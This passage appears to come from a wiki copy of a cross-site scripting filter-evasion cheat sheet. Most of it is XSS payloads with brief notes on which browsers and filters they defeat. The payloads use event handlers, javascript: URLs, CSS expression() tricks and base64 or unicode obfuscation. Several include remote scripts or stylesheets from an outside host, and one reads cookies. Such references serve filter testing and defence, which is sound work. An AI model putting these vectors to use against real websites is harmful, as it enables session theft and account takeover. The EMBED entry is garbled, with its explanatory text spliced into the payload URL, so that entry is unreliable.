# &amp;lt;code&amp;gt;onMediaComplete()&amp;lt;/code&amp;gt; (When a streaming media file is used, this event could fire before the file starts playing)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMediaError()&amp;lt;/code&amp;gt; (User opens a page in the browser that contains a media file, and the event fires when there is a problem)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMessage()&amp;lt;/code&amp;gt; (fire when the document received a message)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseDown()&amp;lt;/code&amp;gt; (the attacker would need to get the user to click on an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseEnter()&amp;lt;/code&amp;gt; (cursor moves over an object or area)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseLeave()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table and then off again)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseMove()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseOut()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table and then off again)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseOver()&amp;lt;/code&amp;gt; (cursor moves over an object or area)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseUp()&amp;lt;/code&amp;gt; (the attacker would need to get the user to click on an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseWheel()&amp;lt;/code&amp;gt; (the attacker would need to get the user to use their mouse wheel)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMove()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMoveEnd()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMoveStart()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOffline()&amp;lt;/code&amp;gt; (occurs if the browser is working in online mode and it starts to work offline)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOnline()&amp;lt;/code&amp;gt; (occurs if the browser is working in offline mode and it starts to work online)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOutOfSync()&amp;lt;/code&amp;gt; (interrupt the element's ability to play its media as defined by the timeline)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPaste()&amp;lt;/code&amp;gt; (user would need to paste or attacker could use the &amp;lt;code&amp;gt;execCommand(&amp;quot;Paste&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPause()&amp;lt;/code&amp;gt; (the onpause event fires on every element that is active when the timeline pauses, including the body element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPopState()&amp;lt;/code&amp;gt; (fires when user navigated the session history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onProgress()&amp;lt;/code&amp;gt; (attacker would use this as a flash movie was loading)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPropertyChange()&amp;lt;/code&amp;gt; (user or attacker would need to change an element property)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReadyStateChange()&amp;lt;/code&amp;gt; (user or attacker would need to change an element property)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRedo()&amp;lt;/code&amp;gt; (user went forward in undo transaction history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRepeat()&amp;lt;/code&amp;gt; (the event fires once for each repetition of the timeline, excluding the first full cycle)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReset()&amp;lt;/code&amp;gt; (user or attacker resets a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResize()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResizeEnd()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResizeStart()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResume()&amp;lt;/code&amp;gt; (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReverse()&amp;lt;/code&amp;gt; (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowsEnter()&amp;lt;/code&amp;gt; (user or attacker would need to change a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowExit()&amp;lt;/code&amp;gt; (user or attacker would need to change a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowDelete()&amp;lt;/code&amp;gt; (user or attacker would need to delete a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowInserted()&amp;lt;/code&amp;gt; (user or attacker would need to insert a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onScroll()&amp;lt;/code&amp;gt; (user would need to scroll, or attacker could use the &amp;lt;code&amp;gt;scrollBy()&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSeek()&amp;lt;/code&amp;gt; (the onreverse event fires when the timeline is set to play in any direction other than forward)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelect()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelectionChange()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelectStart()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStart()&amp;lt;/code&amp;gt; (fires at the beginning of each marquee loop)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStop()&amp;lt;/code&amp;gt; (user would need to press the stop button or leave the webpage)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStorage()&amp;lt;/code&amp;gt; (storage area changed)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSyncRestored()&amp;lt;/code&amp;gt; (user interrupts the element's ability to play its media as defined by the timeline to fire)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSubmit()&amp;lt;/code&amp;gt; (requires attacker or user submits a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onTimeError()&amp;lt;/code&amp;gt; (user or attacker sets a time property, such as dur, to an invalid value)&lt;br /&gt;
# &amp;lt;code&amp;gt;onTrackChange()&amp;lt;/code&amp;gt; (user or attacker changes track in a playList)&lt;br /&gt;
# &amp;lt;code&amp;gt;onUndo()&amp;lt;/code&amp;gt; (user went backward in undo transaction history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onUnload()&amp;lt;/code&amp;gt; (as the user clicks any link or presses the back button or attacker forces a click)&lt;br /&gt;
# &amp;lt;code&amp;gt;onURLFlip()&amp;lt;/code&amp;gt; (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)&lt;br /&gt;
# &amp;lt;code&amp;gt;seekSegmentTime()&amp;lt;/code&amp;gt; (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)&lt;br /&gt;
&lt;br /&gt;
== BGSOUND ==&lt;br /&gt;
 &amp;lt;BGSOUND SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== &amp;amp; JavaScript includes ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BR SIZE=&amp;quot;&amp;amp;{alert('XSS')}&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
== STYLE sheet ==&lt;br /&gt;
 &amp;lt;LINK REL=&amp;quot;stylesheet&amp;quot; HREF=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet ==&lt;br /&gt;
(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;LINK REL=&amp;quot;stylesheet&amp;quot; HREF=&amp;quot;http://ha.ckers.org/xss.css&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 2 ==&lt;br /&gt;
This works the same as above, but uses a &amp;lt;STYLE&amp;gt; tag instead of a &amp;lt;LINK&amp;gt; tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end &amp;lt;/STYLE&amp;gt; tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 3 ==&lt;br /&gt;
This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: &amp;lt;nowiki&amp;gt;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet)&amp;lt;/nowiki&amp;gt; and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;Link&amp;quot; Content=&amp;quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 4 ==&lt;br /&gt;
This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&amp;quot;http://ha.ckers.org/xssmoz.xml#xss&amp;quot;)}&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tags with broken up JavaScript for XSS ==&lt;br /&gt;
This XSS at times sends IE into an infinite loop of alerts:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&amp;quot;XSS&amp;quot;)';&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE attribute using a comment to break up expression ==&lt;br /&gt;
Created by Roman Ivanov &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG STYLE=&amp;quot;xss:expr/*XSS*/ession(alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG STYLE with expression ==&lt;br /&gt;
This is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;exp/*&amp;lt;A STYLE='no\xss:noxss(&amp;quot;*//*&amp;quot;);&lt;br /&gt;
xss:&amp;amp;#101;x&amp;amp;#x2F;*XSS*//*/*/pression(alert(&amp;quot;XSS&amp;quot;))'&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag (Older versions of Netscape only)==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE TYPE=&amp;quot;text/javascript&amp;quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag using background-image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&amp;quot;javascript:alert('XSS')&amp;quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag using background ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE type=&amp;quot;text/css&amp;quot;&amp;gt;BODY{background:url(&amp;quot;javascript:alert('XSS')&amp;quot;)}&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;STYLE type=&amp;quot;text/css&amp;quot;&amp;gt;BODY{background:url(&amp;quot;javascript:alert('XSS')&amp;quot;)}&amp;lt;/STYLE&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Anonymous HTML with STYLE attribute ==&lt;br /&gt;
IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XSS STYLE=&amp;quot;xss:expression(alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Local htc file == &lt;br /&gt;
This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:&lt;br /&gt;
 &amp;lt;XSS STYLE=&amp;quot;behavior: url(xss.htc);&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== US-ASCII encoding == &lt;br /&gt;
US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. &lt;br /&gt;
&lt;br /&gt;
 ¼script¾alert(¢XSS¢)¼/script¾&lt;br /&gt;
&lt;br /&gt;
== META ==&lt;br /&gt;
The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0;url=javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== META using data ===&lt;br /&gt;
Directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS [http://ha.ckers.org/xsscalc.html calculator] below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== META with additional URL parameter ===&lt;br /&gt;
If the target website attempts to see if the URL contains &amp;quot;http://&amp;quot; at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0; URL=http://;URL=javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IFRAME  ==&lt;br /&gt;
If iframes are allowed there are a lot of other XSS problems as well:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IFRAME SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IFRAME Event based ==&lt;br /&gt;
IFrames and most other elements can use event based mayhem like the following... &lt;br /&gt;
(Submitted by: David Cross)&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IFRAME SRC=# onmouseover=&amp;quot;alert(document.cookie)&amp;quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== FRAME ==&lt;br /&gt;
Frames have the same sorts of XSS problems as iframes&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== TABLE ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;TABLE BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== TD ===&lt;br /&gt;
Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DIV ==&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;background-image: url(javascript:alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image with unicoded XSS exploit ===&lt;br /&gt;
This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;DIV STYLE=&amp;quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&amp;quot;&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image plus extra characters ===&lt;br /&gt;
Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV expression === &lt;br /&gt;
A variant of this was effective against a real world cross site scripting filter using a newline between the colon and &amp;quot;expression&amp;quot;:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;width: expression(alert('XSS'));&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Downlevel-Hidden block ==&lt;br /&gt;
Only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--[if gte IE 4]&amp;gt;&lt;br /&gt;
 &amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
 &amp;lt;![endif]--&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BASE tag ==&lt;br /&gt;
Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like &amp;quot;images/image.jpg&amp;quot; rather than full paths. If the path includes a leading forward slash like &amp;quot;/images/image.jpg&amp;quot; you can remove one slash from this vector (as long as there are two to begin the comment this will work):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BASE HREF=&amp;quot;javascript:alert('XSS');//&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== OBJECT tag ==&lt;br /&gt;
If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&amp;lt;OBJECT TYPE=&amp;quot;text/x-scriptlet&amp;quot; DATA=&amp;quot;http://ha.ckers.org/scriptlet.html&amp;quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Using an EMBED tag you can embed a Flash movie that contains XSS ==&lt;br /&gt;
Click here for a demo. If you add the attributes allowScriptAccess=&amp;quot;never&amp;quot; and allownetworking=&amp;quot;internal&amp;quot; it can mitigate this risk (thank you to Jonathan Vanasco for the info).:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;EMBED SRC=&amp;quot;http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess=&amp;quot;never&amp;quot; and allownetworking=&amp;quot;internal&amp;quot; it can mitigate this risk (thank you to Jonathan Vanasco for the info).:&lt;br /&gt;
org/xss.swf&amp;quot; AllowScriptAccess=&amp;quot;always&amp;quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== You can EMBED SVG which can contain your XSS vector ==&lt;br /&gt;
This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one.&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;EMBED SRC=&amp;quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&amp;quot; type=&amp;quot;image/svg+xml&amp;quot; AllowScriptAccess=&amp;quot;always&amp;quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Using ActionScript inside flash can obfuscate your XSS vector ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;a=&amp;quot;get&amp;quot;;&lt;br /&gt;
b=&amp;quot;URL(\&amp;quot;&amp;quot;;&lt;br /&gt;
c=&amp;quot;javascript:&amp;quot;;&lt;br /&gt;
d=&amp;quot;alert('XSS');\&amp;quot;)&amp;quot;;&lt;br /&gt;
eval(a+b+c+d);&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XML data island with CDATA obfuscation ==&lt;br /&gt;
This XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XML ID=&amp;quot;xss&amp;quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;amp;lt;IMG SRC=&amp;quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&amp;quot;&amp;amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&lt;br /&gt;
&amp;lt;SPAN DATASRC=&amp;quot;#xss&amp;quot; DATAFLD=&amp;quot;B&amp;quot; DATAFORMATAS=&amp;quot;HTML&amp;quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Locally hosted XML with embedded JavaScript that is generated using an XML data island ==&lt;br /&gt;
This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XML SRC=&amp;quot;xsstest.xml&amp;quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&lt;br /&gt;
&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTML+TIME in XML ==&lt;br /&gt;
This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&lt;br /&gt;
&amp;lt;?xml:namespace prefix=&amp;quot;t&amp;quot; ns=&amp;quot;urn:schemas-microsoft-com:time&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?import namespace=&amp;quot;t&amp;quot; implementation=&amp;quot;#default#time2&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;t:set attributeName=&amp;quot;innerHTML&amp;quot; to=&amp;quot;XSS&amp;amp;lt;SCRIPT DEFER&amp;amp;gt;alert(&amp;amp;quot;XSS&amp;amp;quot;)&amp;amp;lt;/SCRIPT&amp;amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Assuming you can only fit in a few characters and it filters against &amp;quot;.js&amp;quot; ==&lt;br /&gt;
you can rename your JavaScript file to an image as an XSS vector:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT SRC=&amp;quot;http://ha.ckers.org/xss.jpg&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== SSI (Server Side Includes)== &lt;br /&gt;
This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--#exec cmd=&amp;quot;/bin/echo '&amp;lt;SCR'&amp;quot;--&amp;gt;&amp;lt;!--#exec cmd=&amp;quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&amp;quot;--&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== PHP ==&lt;br /&gt;
Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;? echo('&amp;lt;SCR)';&lt;br /&gt;
echo('IPT&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/SCRIPT&amp;gt;'); ?&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IMG Embedded commands ==&lt;br /&gt;
This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
